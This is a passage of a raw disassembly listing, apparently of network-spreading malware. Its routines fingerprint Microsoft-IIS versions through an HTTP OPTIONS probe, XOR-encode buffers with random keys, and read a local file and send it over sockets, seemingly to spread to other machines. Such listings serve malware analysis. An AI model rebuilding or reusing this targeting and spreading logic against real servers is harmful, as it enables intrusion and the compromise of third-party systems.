eax push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push 1E4h push [ebp+var_4] call sub_4124A0 add esp, 18h mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_41262D xor eax, eax jmp locret_41271E ; --------------------------------------------------------------------------- loc_41262D: ; CODE XREF: sub_4125DF+45j push 1Ch push offset loc_41C7C8 push [ebp+var_10] call sub_416B52 add esp, 0Ch mov eax, dword_41CB98 mov [ebp+var_8], eax jmp short loc_412659 ; --------------------------------------------------------------------------- loc_412649: ; CODE XREF: sub_4125DF+94j ; sub_4125DF:loc_41269Aj call sub_410422 mov [ebp+var_8], eax mov eax, [ebp+var_8] mov dword_41CB98, eax loc_412659: ; CODE XREF: sub_4125DF+68j push 0 push [ebp+arg_1C] push [ebp+arg_18] push 4 lea eax, [ebp+var_8] push eax call sub_412448 add esp, 14h test eax, eax jz short loc_412675 jmp short loc_412649 ; --------------------------------------------------------------------------- loc_412675: ; CODE XREF: sub_4125DF+92j mov eax, [ebp+var_14] xor eax, [ebp+var_8] mov [ebp+var_1C], eax push 0 push [ebp+arg_1C] push [ebp+arg_18] push 4 lea eax, [ebp+var_1C] push eax call sub_412448 add esp, 14h test eax, eax jnz short loc_41269A jmp short loc_41269C ; --------------------------------------------------------------------------- loc_41269A: ; CODE XREF: sub_4125DF+B7j jmp short loc_412649 ; --------------------------------------------------------------------------- loc_41269C: ; CODE XREF: sub_4125DF+B9j mov eax, [ebp+var_10] mov ecx, [ebp+var_8] mov [eax+3], ecx mov eax, [ebp+var_10] mov ecx, [ebp+var_1C] mov [eax+9], ecx mov al, byte_41CB95 mov byte ptr [ebp+var_C], al jmp short loc_4126C8 ; --------------------------------------------------------------------------- loc_4126B8: ; CODE XREF: sub_4125DF+104j call sub_410461 mov byte ptr [ebp+var_C], al mov al, byte ptr [ebp+var_C] mov byte_41CB95, al loc_4126C8: ; CODE XREF: sub_4125DF+D7j push [ebp+var_C] push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_14] push [ebp+var_4] call sub_412448 add esp, 14h test eax, eax jz short loc_4126E5 jmp short loc_4126B8 ; --------------------------------------------------------------------------- loc_4126E5: ; CODE XREF: sub_4125DF+102j mov eax, [ebp+var_10] mov cl, byte ptr [ebp+var_C] mov [eax+12h], cl and [ebp+var_18], 0 jmp short loc_4126FB ; --------------------------------------------------------------------------- loc_4126F4: ; CODE XREF: sub_4125DF+137j mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax loc_4126FB: ; CODE XREF: sub_4125DF+113j mov eax, [ebp+var_18] cmp eax, [ebp+var_14] jnb short loc_412718 mov eax, [ebp+var_4] add eax, [ebp+var_18] mov al, [eax] xor al, byte ptr [ebp+var_C] mov ecx, [ebp+var_4] add ecx, [ebp+var_18] mov [ecx], al jmp short loc_4126F4 ; --------------------------------------------------------------------------- loc_412718: ; CODE XREF: sub_4125DF+122j mov eax, [ebp+var_14] add eax, 1Ch locret_41271E: ; CODE XREF: sub_4125DF+Ej ; sub_4125DF+49j leave retn sub_4125DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412720 proc near ; CODE XREF: sub_412A3A+Cp ; sub_412BC9+DFp ... var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_E4 = byte ptr -0E4h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 194h push 8 push 4 call sub_4103F5 pop ecx pop ecx mov [ebp+var_194], eax and [ebp+var_190], 0 loc_412741: ; CODE XREF: sub_412720:loc_41278Aj push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_190] mov [ebp+ecx+var_10], al mov eax, [ebp+var_190] inc eax mov [ebp+var_190], eax mov eax, [ebp+var_190] cmp eax, [ebp+var_194] jnz short loc_41278A push offset dword_418620 mov eax, [ebp+var_190] lea eax, [ebp+eax+var_10] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_41278C ; --------------------------------------------------------------------------- loc_41278A: ; CODE XREF: sub_412720+4Fj jmp short loc_412741 ; --------------------------------------------------------------------------- loc_41278C: ; CODE XREF: sub_412720+68j push 17Ch push offset dword_41CA18 lea eax, [ebp+var_18C] push eax call sub_416B52 add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_E4] push eax call sub_416B3A ; strcpy pop ecx pop ecx push 17Ch lea eax, [ebp+var_18C] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch leave retn sub_412720 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4127D0 proc near ; CODE XREF: sub_412A3A+14Dp ; sub_412BC9+133p ... var_24C = byte ptr -24Ch var_22C = byte ptr -22Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24Ch cmp dword_41EBFC, 0 jnz loc_4128A0 mov dword_41EBFC, 1 and [ebp+var_20C], 0 jmp short loc_412806 ; --------------------------------------------------------------------------- loc_4127F9: ; CODE XREF: sub_4127D0:loc_41289Bj mov eax, [ebp+var_20C] inc eax mov [ebp+var_20C], eax loc_412806: ; CODE XREF: sub_4127D0+27j mov eax, [ebp+var_20C] imul eax, 0Ch cmp off_41DB20[eax], 0 jz loc_4128A0 push 20h mov eax, [ebp+var_20C] imul eax, 0Ch push off_41DB20[eax] lea eax, [ebp+var_22C] push eax call sub_407A56 add esp, 0Ch push 20h mov eax, [ebp+var_20C] imul eax, 0Ch push off_41CBA0[eax] lea eax, [ebp+var_24C] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_22C] push eax call sub_4105AD pop ecx lea eax, [ebp+var_24C] push eax call sub_4105AD pop ecx lea eax, [ebp+var_24C] push eax lea eax, [ebp+var_22C] push eax call sub_416DDE pop ecx pop ecx test eax, eax jz short loc_41289B mov dword_41EC00, 1 jmp short loc_4128A0 ; --------------------------------------------------------------------------- loc_41289B: ; CODE XREF: sub_4127D0+BDj jmp loc_4127F9 ; --------------------------------------------------------------------------- loc_4128A0: ; CODE XREF: sub_4127D0+10j ; sub_4127D0+46j ... cmp dword_41EC00, 0 jz short loc_4128AE push 1 pop eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_4128AE: ; CODE XREF: sub_4127D0+D7j push offset aRb ; "rb" push offset dword_41ED20 call sub_416B88 pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4128CC xor eax, eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_4128CC: ; CODE XREF: sub_4127D0+F6j and [ebp+var_4], 0 loc_4128D0: ; CODE XREF: sub_4127D0+145j push [ebp+var_8] push 200h push 1 lea eax, [ebp+var_208] push eax call sub_416B90 add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412900 push [ebp+var_8] call sub_416B82 pop ecx push 1 pop eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_412900: ; CODE XREF: sub_4127D0+120j push [ebp+var_4] lea eax, [ebp+var_208] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch jmp short loc_4128D0 ; --------------------------------------------------------------------------- locret_412917: ; CODE XREF: sub_4127D0+DCj ; sub_4127D0+FAj ... leave retn sub_4127D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412919 proc near ; CODE XREF: sub_412BC9+E8p ; sub_412D56+18p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0EA60h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_412938 xor eax, eax jmp short locret_41294C ; --------------------------------------------------------------------------- loc_412938: ; CODE XREF: sub_412919+19j push 0 push 4 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call dword_417248 mov eax, [ebp+var_4] locret_41294C: ; CODE XREF: sub_412919+1Dj leave retn sub_412919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41294E proc near ; CODE XREF: sub_412BC9+115p ; sub_412D56+3Bp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_412964 ; --------------------------------------------------------------------------- loc_41295D: ; CODE XREF: sub_41294E:loc_4129C3j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_412964: ; CODE XREF: sub_41294E+Dj mov eax, [ebp+var_8] imul eax, 3Ah cmp off_41CDB6[eax], 0 jz short loc_4129C5 mov eax, [ebp+var_8] imul eax, 3Ah mov eax, dword_41CDAE[eax] cmp eax, [ebp+arg_0] jnz short loc_4129C3 mov eax, [ebp+var_8] imul eax, 3Ah add eax, offset byte_41CD88 mov [ebp+var_4], eax push 3Ah mov eax, [ebp+var_8] imul eax, 3Ah add eax, offset byte_41CD88 push eax push [ebp+arg_4] call sub_416B52 add esp, 0Ch push [ebp+arg_4] call sub_4105FB pop ecx mov eax, [ebp+arg_4] add eax, 13h push eax call sub_4105FB pop ecx jmp short loc_4129C5 ; --------------------------------------------------------------------------- loc_4129C3: ; CODE XREF: sub_41294E+34j jmp short loc_41295D ; --------------------------------------------------------------------------- loc_4129C5: ; CODE XREF: sub_41294E+23j ; sub_41294E+73j mov eax, [ebp+var_4] leave retn sub_41294E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4129CA proc near ; CODE XREF: sub_412A3A+16Bp ; sub_412BC9+15Ap ... var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 104h push 1 mov eax, [ebp+arg_0] add eax, 2Ah push eax call sub_409C88 pop ecx pop ecx mov [ebp+var_104], eax lea eax, [ebp+var_100] push eax push [ebp+arg_8] call sub_4044F7 pop ecx pop ecx test eax, eax jnz short loc_412A11 push offset aUnknown ; "unknown" lea eax, [ebp+var_100] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_412A11: ; CODE XREF: sub_4129CA+32j lea eax, [ebp+var_100] push eax mov eax, [ebp+var_104] inc eax push eax push [ebp+arg_C] push [ebp+arg_4] push offset dword_41A1D0 push offset dword_41DB90 call sub_40D4AB add esp, 18h leave retn sub_4129CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A3A proc near ; CODE XREF: sub_41331E+148p var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = byte ptr -248h var_235 = byte ptr -235h var_222 = dword ptr -222h var_20C = dword ptr -20Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push [ebp+arg_4] call sub_412720 pop ecx push 3Ah push [ebp+arg_0] lea eax, [ebp+var_248] push eax call sub_416B52 add esp, 0Ch lea eax, [ebp+var_248] push eax call sub_4105FB pop ecx lea eax, [ebp+var_235] push eax call sub_4105FB pop ecx lea eax, [ebp+var_20C+3] mov [ebp+var_8], eax push 203h push 0 lea eax, [ebp+var_20C] push eax call sub_416B6A add esp, 0Ch and [ebp+var_4], 0 jmp short loc_412AA6 ; --------------------------------------------------------------------------- loc_412A9F: ; CODE XREF: sub_412A3A+8Aj ; sub_412A3A:loc_412B7Fj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_412AA6: ; CODE XREF: sub_412A3A+63j cmp [ebp+var_4], 3Ch jnz short loc_412AB1 jmp locret_412BC7 ; --------------------------------------------------------------------------- loc_412AB1: ; CODE XREF: sub_412A3A+70j push 3E8h push [ebp+arg_4] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_412AC6 jmp short loc_412A9F ; --------------------------------------------------------------------------- loc_412AC6: ; CODE XREF: sub_412A3A+88j push 200h push [ebp+var_8] push [ebp+arg_4] call sub_4053DC add esp, 0Ch mov [ebp+var_24C], eax cmp [ebp+var_24C], 0FFFFFFFFh jnz short loc_412AED jmp locret_412BC7 ; --------------------------------------------------------------------------- loc_412AED: ; CODE XREF: sub_412A3A+ACj cmp [ebp+var_24C], 0 jz short loc_412B69 and [ebp+var_250], 0 jmp short loc_412B0C ; --------------------------------------------------------------------------- loc_412AFF: ; CODE XREF: sub_412A3A:loc_412B34j mov eax, [ebp+var_250] inc eax mov [ebp+var_250], eax loc_412B0C: ; CODE XREF: sub_412A3A+C3j mov eax, [ebp+var_250] cmp eax, [ebp+var_24C] jnb short loc_412B36 mov eax, [ebp+var_250] mov eax, [ebp+eax+var_20C] cmp eax, [ebp+var_222] jnz short loc_412B34 jmp loc_412BC5 ; --------------------------------------------------------------------------- loc_412B34: ; CODE XREF: sub_412A3A+F3j jmp short loc_412AFF ; --------------------------------------------------------------------------- loc_412B36: ; CODE XREF: sub_412A3A+DEj push 3 mov eax, [ebp+var_24C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3] push eax lea eax, [ebp+var_20C] push eax call sub_416B52 add esp, 0Ch push 200h push 0 push [ebp+var_8] call sub_416B6A add esp, 0Ch jmp short loc_412B7F ; --------------------------------------------------------------------------- loc_412B69: ; CODE XREF: sub_412A3A+BAj push 203h push 0 lea eax, [ebp+var_20C] push eax call sub_416B6A add esp, 0Ch loc_412B7F: ; CODE XREF: sub_412A3A+12Dj jmp loc_412A9F ; --------------------------------------------------------------------------- loc_412B84: ; CODE XREF: sub_412A3A:loc_412BC5j push [ebp+arg_4] call sub_4127D0 pop ecx test eax, eax jnz short loc_412B93 jmp short locret_412BC7 ; --------------------------------------------------------------------------- loc_412B93: ; CODE XREF: sub_412A3A+155j push offset dword_41CD1C push [ebp+arg_4] lea eax, [ebp+var_248] push eax push [ebp+arg_0] call sub_4129CA add esp, 10h push 1 push [ebp+arg_4] call dword_417200 push 3E8h call dword_41709C jmp short locret_412BC7 ; --------------------------------------------------------------------------- loc_412BC5: ; CODE XREF: sub_412A3A+F5j jmp short loc_412B84 ; --------------------------------------------------------------------------- locret_412BC7: ; CODE XREF: sub_412A3A+72j ; sub_412A3A+AEj ... leave retn sub_412A3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412BC9 proc near ; CODE XREF: sub_41331E+165p var_85C = dword ptr -85Ch var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = byte ptr -84Ch var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 85Ch push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_404FE7 add esp, 0Ch mov [ebp+var_8], eax mov [ebp+var_854], 3Ch and [ebp+var_850], 0 and [ebp+var_810], 0 loc_412BFD: ; CODE XREF: sub_412BC9+A9j and [ebp+var_85C], 0 jmp short loc_412C13 ; --------------------------------------------------------------------------- loc_412C06: ; CODE XREF: sub_412BC9:loc_412C35j mov eax, [ebp+var_85C] inc eax mov [ebp+var_85C], eax loc_412C13: ; CODE XREF: sub_412BC9+3Bj mov eax, [ebp+var_85C] cmp eax, [ebp+var_810] jnb short loc_412C37 mov eax, [ebp+var_85C] mov eax, [ebp+eax*4+var_80C] cmp eax, [ebp+var_8] jnz short loc_412C35 jmp short loc_412C37 ; --------------------------------------------------------------------------- loc_412C35: ; CODE XREF: sub_412BC9+68j jmp short loc_412C06 ; --------------------------------------------------------------------------- loc_412C37: ; CODE XREF: sub_412BC9+56j ; sub_412BC9+6Aj mov eax, [ebp+var_85C] cmp eax, [ebp+var_810] jnz short loc_412C6E cmp [ebp+var_810], 200h jnb short loc_412C6E mov eax, [ebp+var_85C] mov ecx, [ebp+var_8] mov [ebp+eax*4+var_80C], ecx mov eax, [ebp+var_810] inc eax mov [ebp+var_810], eax loc_412C6E: ; CODE XREF: sub_412BC9+7Aj ; sub_412BC9+86j xor eax, eax test eax, eax jnz short loc_412BFD lea eax, [ebp+var_854] push eax push 0 lea eax, [ebp+var_810] push eax push 0 push 0 call dword_41722C mov [ebp+var_C], eax cmp [ebp+var_C], 1 jz short loc_412CA5 push [ebp+var_8] call sub_4053B1 pop ecx jmp locret_412D4A ; --------------------------------------------------------------------------- loc_412CA5: ; CODE XREF: sub_412BC9+CCj push [ebp+var_8] call sub_412720 pop ecx push [ebp+var_8] call sub_412919 pop ecx mov [ebp+var_858], eax cmp [ebp+var_858], 0 jnz short loc_412CD1 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412CD1: ; CODE XREF: sub_412BC9+FBj lea eax, [ebp+var_84C] push eax push [ebp+var_858] call sub_41294E pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412CF9 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412CF9: ; CODE XREF: sub_412BC9+123j push [ebp+var_8] call sub_4127D0 pop ecx test eax, eax jnz short loc_412D11 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412D11: ; CODE XREF: sub_412BC9+13Bj push offset dword_41CD20 push [ebp+var_8] lea eax, [ebp+var_84C] push eax push [ebp+var_4] call sub_4129CA add esp, 10h push 1 push [ebp+var_8] call dword_417200 push 3E8h call dword_41709C push [ebp+var_8] call sub_4053B1 pop ecx locret_412D4A: ; CODE XREF: sub_412BC9+D7j ; sub_412BC9+106j ... leave retn sub_412BC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D4C proc near ; CODE XREF: sub_41331E:loc_413420p push ebp mov ebp, esp mov eax, offset dword_41EC04 pop ebp retn sub_412D4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D56 proc near ; DATA XREF: sub_412E04+CAo var_48 = dword ptr -48h var_44 = byte ptr -44h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 48h mov eax, [ebp+arg_0] mov [ebp+var_8], eax push [ebp+var_8] call sub_412720 pop ecx push [ebp+var_8] call sub_412919 pop ecx mov [ebp+var_48], eax cmp [ebp+var_48], 0 jnz short loc_412D8A push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412D8A: ; CODE XREF: sub_412D56+25j lea eax, [ebp+var_44] push eax push [ebp+var_48] call sub_41294E pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412DAE push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412DAE: ; CODE XREF: sub_412D56+49j push [ebp+var_8] call sub_4127D0 pop ecx test eax, eax jnz short loc_412DC8 push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412DC8: ; CODE XREF: sub_412D56+63j push offset dword_41CD24 push [ebp+var_8] lea eax, [ebp+var_44] push eax push [ebp+var_4] call sub_4129CA add esp, 10h push 1 push [ebp+var_8] call dword_417200 push 3E8h call dword_41709C push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax locret_412E00: ; CODE XREF: sub_412D56+32j ; sub_412D56+56j ... leave retn 4 sub_412D56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412E04 proc near ; DATA XREF: sub_412F07+B0o var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_1AA = byte ptr -1AAh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B8h push 1ADh push [ebp+arg_0] lea eax, [ebp+var_1B4] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx push 1 lea eax, [ebp+var_1B0] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412E59 push [ebp+var_1B4] call sub_409763 pop ecx xor eax, eax jmp locret_412F03 ; --------------------------------------------------------------------------- loc_412E59: ; CODE XREF: sub_412E04+40j lea eax, [ebp+var_1B0] push eax mov eax, [ebp+var_1B4] push dword ptr [eax] push offset dword_41CD28 lea eax, [ebp+var_1AA] push eax call sub_40D53F add esp, 10h lea eax, [ebp+var_1B0] push eax push offset dword_41EC04 call sub_416B3A ; strcpy pop ecx pop ecx loc_412E8F: ; CODE XREF: sub_412E04+B7j ; sub_412E04:loc_412EEAj mov eax, [ebp+var_1B4] cmp dword ptr [eax+4], 0 jz short loc_412E9D jmp short loc_412EEC ; --------------------------------------------------------------------------- loc_412E9D: ; CODE XREF: sub_412E04+95j push 3E8h push [ebp+var_4] call sub_4048EF pop ecx pop ecx mov [ebp+var_1B8], eax cmp [ebp+var_1B8], 0FFFFFFFFh jnz short loc_412EBD jmp short loc_412E8F ; --------------------------------------------------------------------------- loc_412EBD: ; CODE XREF: sub_412E04+B5j cmp [ebp+var_1B8], 0 jnz short loc_412EC8 jmp short loc_412EEC ; --------------------------------------------------------------------------- loc_412EC8: ; CODE XREF: sub_412E04+C0j push [ebp+var_1B8] push offset sub_412D56 call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_412EEA push [ebp+var_1B8] call sub_4053B1 pop ecx loc_412EEA: ; CODE XREF: sub_412E04+D8j jmp short loc_412E8F ; --------------------------------------------------------------------------- loc_412EEC: ; CODE XREF: sub_412E04+97j ; sub_412E04+C2j push [ebp+var_4] call sub_404CBB pop ecx push [ebp+var_1B4] call sub_409763 pop ecx xor eax, eax locret_412F03: ; CODE XREF: sub_412E04+50j leave retn 4 sub_412E04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412F07 proc near ; CODE XREF: sub_40A9CF+F6Ep ; sub_41349C+2C7p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 1ADh call sub_416B46 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_412F26 jmp locret_412FC4 ; --------------------------------------------------------------------------- loc_412F26: ; CODE XREF: sub_412F07+18j cmp [ebp+arg_4], 0 jz short loc_412F3A push [ebp+arg_4] call sub_416B9C pop ecx mov [ebp+var_C], eax jmp short loc_412F4E ; --------------------------------------------------------------------------- loc_412F3A: ; CODE XREF: sub_412F07+23j push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx mov [ebp+var_C], eax loc_412F4E: ; CODE XREF: sub_412F07+31j mov eax, [ebp+var_C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_412F63 cmp [ebp+var_4], 0FFFFh jbe short loc_412F77 loc_412F63: ; CODE XREF: sub_412F07+51j push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx mov [ebp+var_4], eax loc_412F77: ; CODE XREF: sub_412F07+5Aj push 0Ah mov eax, [ebp+var_8] add eax, 4 push eax push [ebp+var_4] call sub_416F7A ; _itoa add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_8] add eax, 0Ah push eax call sub_405F67 pop ecx pop ecx push [ebp+var_4] push offset dword_41CD60 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_8] push offset sub_412E04 call sub_4095A4 add esp, 14h locret_412FC4: ; CODE XREF: sub_412F07+1Aj leave retn sub_412F07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412FC6 proc near ; CODE XREF: .packed:004168CBp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_412FD8 ; --------------------------------------------------------------------------- loc_412FD1: ; CODE XREF: sub_412FC6:loc_413088j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_412FD8: ; CODE XREF: sub_412FC6+9j mov eax, [ebp+var_4] imul eax, 3Ah cmp off_41CDB6[eax], 0 jz locret_41308D mov eax, [ebp+var_4] imul eax, 3Ah mov ecx, [ebp+var_4] imul ecx, 3Ah mov ecx, dword_41CDAE[ecx] and ecx, 0FFh mov eax, off_41CDB6[eax] sub eax, ecx mov ecx, [ebp+var_4] imul ecx, 3Ah mov off_41CDB6[ecx], eax mov eax, [ebp+var_4] imul eax, 3Ah and dword_41CDB2[eax], 0 loc_413024: ; CODE XREF: sub_412FC6+7Ej ; sub_412FC6+BEj call sub_410422 mov ecx, [ebp+var_4] imul ecx, 3Ah mov dword_41CDAE[ecx], eax mov eax, [ebp+var_4] imul eax, 3Ah cmp dword_41CDAE[eax], 0 jnz short loc_413046 jmp short loc_413024 ; --------------------------------------------------------------------------- loc_413046: ; CODE XREF: sub_412FC6+7Cj and [ebp+var_8], 0 jmp short loc_413053 ; --------------------------------------------------------------------------- loc_41304C: ; CODE XREF: sub_412FC6:loc_413086j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_413053: ; CODE XREF: sub_412FC6+84j mov eax, [ebp+var_8] imul eax, 3Ah cmp off_41CDB6[eax], 0 jz short loc_413088 mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jz short loc_413086 mov eax, [ebp+var_4] imul eax, 3Ah mov ecx, [ebp+var_8] imul ecx, 3Ah mov eax, dword_41CDAE[eax] cmp eax, dword_41CDAE[ecx] jnz short loc_413086 jmp short loc_413024 ; --------------------------------------------------------------------------- loc_413086: ; CODE XREF: sub_412FC6+A2j ; sub_412FC6+BCj jmp short loc_41304C ; --------------------------------------------------------------------------- loc_413088: ; CODE XREF: sub_412FC6+9Aj jmp loc_412FD1 ; --------------------------------------------------------------------------- locret_41308D: ; CODE XREF: sub_412FC6+1Fj leave retn sub_412FC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41308F proc near ; CODE XREF: sub_41331E+72p var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = byte ptr -810h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 820h push 16h push offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n" push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 0EA60h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_4130C4 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4130C4: ; CODE XREF: sub_41308F+2Cj push 0 push 800h lea eax, [ebp+var_810] push eax push [ebp+arg_0] call dword_417248 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4130F3 cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4130F3 cmp [ebp+var_8], 800h jnz short loc_4130FA loc_4130F3: ; CODE XREF: sub_41308F+53j ; sub_41308F+59j xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4130FA: ; CODE XREF: sub_41308F+62j mov eax, [ebp+var_8] and [ebp+eax+var_810], 0 and [ebp+var_4], 0 push offset aServer ; "Server:" lea eax, [ebp+var_810] push eax call sub_416BA8 pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_41312C xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_41312C: ; CODE XREF: sub_41308F+94j lea eax, [ebp+var_4] push eax push offset dword_418F4C push [ebp+var_10] call sub_40813C add esp, 0Ch mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_413150 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413150: ; CODE XREF: sub_41308F+B8j lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_413173 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413173: ; CODE XREF: sub_41308F+DBj lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_C], eax push 0Dh push offset aMicrosoftIis ; "Microsoft-IIS" push [ebp+var_10] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_41323C and [ebp+var_818], 0 and [ebp+var_814], 0 lea eax, [ebp+var_814] push eax lea eax, [ebp+var_818] push eax push offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u" push [ebp+var_10] call sub_416BA2 add esp, 10h cmp [ebp+var_818], 4 jnz short loc_4131E9 cmp [ebp+var_814], 0 jnz short loc_4131E9 push 4 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4131E9: ; CODE XREF: sub_41308F+147j ; sub_41308F+150j cmp [ebp+var_818], 5 jnz short loc_413203 cmp [ebp+var_814], 0 jnz short loc_413203 push 3 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413203: ; CODE XREF: sub_41308F+161j ; sub_41308F+16Aj cmp [ebp+var_818], 5 jnz short loc_41321D cmp [ebp+var_814], 5 jnz short loc_41321D push 2 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_41321D: ; CODE XREF: sub_41308F+17Bj ; sub_41308F+184j cmp [ebp+var_818], 6 jnz short loc_413237 cmp [ebp+var_814], 0 jnz short loc_413237 push 1 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413237: ; CODE XREF: sub_41308F+195j ; sub_41308F+19Ej jmp loc_41331A ; 